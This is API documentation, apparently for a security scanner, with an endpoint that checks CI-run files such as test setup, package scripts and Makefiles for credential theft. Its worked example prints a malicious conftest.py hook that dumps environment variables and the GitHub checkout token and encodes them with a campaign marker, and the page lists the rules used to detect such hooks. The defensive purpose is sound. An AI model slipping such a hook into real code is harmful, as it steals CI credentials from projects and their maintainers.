GitHub
Analyze files that run during CI
Find credential theft hidden in package scripts, test setup, build files and shell scripts.
POST
/
v1
/
github
/
files
/
analyze
Analyze files that run during CI
curl --request POST \
--url https://api.custoden.com/v1/github/files/analyze \
--header 'Content-Type: application/json' \
--data '
{
"files": [
{
"path": "<string>",
"content": "<string>"
}
]
}
'import requests
url = "https://api.custoden.com/v1/github/files/analyze"
payload = { "files": [
{
"path": "<string>",
"content": "<string>"
}
] }
headers = {"Content-Type": "application/json"}
response = requests.post(url, json=payload, headers=headers)
print(response.text)const options = {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({files: [{path: '<string>', content: '<string>'}]})
};
fetch('https://api.custoden.com/v1/github/files/analyze', options)
.then(res => res.json())
.then(res => console.log(res))
.catch(err => console.error(err));<?php
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => "https://api.custoden.com/v1/github/files/analyze",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode([
'files' => [
[
'path' => '<string>',
'content' => '<string>'
]
]
]),
CURLOPT_HTTPHEADER => [
"Content-Type: application/json"
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}package main
import (
"fmt"
"strings"
"net/http"
"io"
)
func main() {
url := "https://api.custoden.com/v1/github/files/analyze"
payload := strings.NewReader("{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}")
req, _ := http.NewRequest("POST", url, payload)
req.Header.Add("Content-Type", "application/json")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ := io.ReadAll(res.Body)
fmt.Println(string(body))
}HttpResponse<String> response = Unirest.post("https://api.custoden.com/v1/github/files/analyze")
.header("Content-Type", "application/json")
.body("{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}")
.asString();require 'uri'
require 'net/http'
url = URI("https://api.custoden.com/v1/github/files/analyze")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
request = Net::HTTP::Post.new(url)
request["Content-Type"] = 'application/json'
request.body = "{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}"
response = http.request(request)
puts response.read_body{
"summary": {
"critical": 123,
"high": 123,
"medium": 123,
"low": 123,
"info": 123,
"total": 123
},
"files": [
{
"path": "<string>",
"kind": "package-manifest"
}
],
"findings": [
{
"rule": "<string>",
"severity": "critical",
"title": "<string>",
"detail": "<string>",
"path": "<string>",
"line": 123
}
]
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}Some campaigns leave workflows untouched and hide the payload in a file the workflow already runs: a
The body can be up to 256 KB.
postinstall script, conftest.py, setup.py or a Makefile target. This endpoint checks those files for:
- Reading the token that
actions/checkoutstores, dumping the environment, and harvesting credential files - Install hooks that run hidden scripts
- Workflows created or dispatched from build code, and forged commit statuses
- Exfiltration endpoints, encoded or obfuscated code, and indicators from campaigns such as prt-scan and wfx-loot
Request
curl -X POST https://api.custoden.com/v1/github/files/analyze \
-H 'content-type: application/json' \
-d '{"files": [{"path": "tests/conftest.py", "content": "..."}]}'
| Field | Type | Description |
|---|---|---|
files | array | 1 to 10 files |
files[].path | string | Repository-relative path, up to 512 characters. The file name decides how the file is analyzed |
files[].content | string | File contents |
Example
tests/conftest.py
def pytest_configure(config):
os.system("echo '==PRT_EXFIL_START_9c4e1a==' && (env; echo PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader)) | gzip -c | base64")
{
"summary": { "critical": 2, "high": 1, "medium": 0, "low": 0, "info": 0, "total": 3 },
"files": [{ "path": "tests/conftest.py", "kind": "python-test-setup" }],
"findings": [
{
"rule": "checkout-token-extraction",
"severity": "critical",
"title": "Reads the token that actions/checkout stores in git config",
"detail": "Contains \"http.https://github.com/.extraheader\".",
"path": "tests/conftest.py",
"line": 2
},
{
"rule": "campaign-indicator",
"severity": "critical",
"title": "Matches the prt-scan campaign",
"detail": "Contains \"==PRT_EXFIL_START_\", an indicator published for prt-scan. ...",
"path": "tests/conftest.py",
"line": 2
},
{ "rule": "environment-dump", "severity": "high", "...": "..." }
]
}
Response
| Field | Type | Description |
|---|---|---|
summary | object | Count of findings per severity, plus total |
files | array | Each file with its kind: package-manifest, python-build, python-test-setup, makefile, script, action or source |
findings | array | See CI file rules |
Finding
| Field | Type | Description |
|---|---|---|
rule | string | Stable rule ID |
severity | string | critical, high, medium, low or info |
title | string | One-line summary |
detail | string | What was found |
path | string | The file it was found in |
line | integer | 1-based line |
Errors
| Status | Code | When |
|---|---|---|
| 400 | invalid_request | No files array, or a file without path and content strings |
| 400 | too_many_files | More than 10 files |
| 400 | invalid_json | Body could not be parsed |
| 413 | payload_too_large | Body exceeds 256 KB |
| 429 | rate_limited | See Rate limits |
⌘I
Analyze files that run during CI
curl --request POST \
--url https://api.custoden.com/v1/github/files/analyze \
--header 'Content-Type: application/json' \
--data '
{
"files": [
{
"path": "<string>",
"content": "<string>"
}
]
}
'import requests
url = "https://api.custoden.com/v1/github/files/analyze"
payload = { "files": [
{
"path": "<string>",
"content": "<string>"
}
] }
headers = {"Content-Type": "application/json"}
response = requests.post(url, json=payload, headers=headers)
print(response.text)const options = {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({files: [{path: '<string>', content: '<string>'}]})
};
fetch('https://api.custoden.com/v1/github/files/analyze', options)
.then(res => res.json())
.then(res => console.log(res))
.catch(err => console.error(err));<?php
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => "https://api.custoden.com/v1/github/files/analyze",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode([
'files' => [
[
'path' => '<string>',
'content' => '<string>'
]
]
]),
CURLOPT_HTTPHEADER => [
"Content-Type: application/json"
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}package main
import (
"fmt"
"strings"
"net/http"
"io"
)
func main() {
url := "https://api.custoden.com/v1/github/files/analyze"
payload := strings.NewReader("{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}")
req, _ := http.NewRequest("POST", url, payload)
req.Header.Add("Content-Type", "application/json")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ := io.ReadAll(res.Body)
fmt.Println(string(body))
}HttpResponse<String> response = Unirest.post("https://api.custoden.com/v1/github/files/analyze")
.header("Content-Type", "application/json")
.body("{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}")
.asString();require 'uri'
require 'net/http'
url = URI("https://api.custoden.com/v1/github/files/analyze")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
request = Net::HTTP::Post.new(url)
request["Content-Type"] = 'application/json'
request.body = "{\n \"files\": [\n {\n \"path\": \"<string>\",\n \"content\": \"<string>\"\n }\n ]\n}"
response = http.request(request)
puts response.read_body{
"summary": {
"critical": 123,
"high": 123,
"medium": 123,
"low": 123,
"info": 123,
"total": 123
},
"files": [
{
"path": "<string>",
"kind": "package-manifest"
}
],
"findings": [
{
"rule": "<string>",
"severity": "critical",
"title": "<string>",
"detail": "<string>",
"path": "<string>",
"line": 123
}
]
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}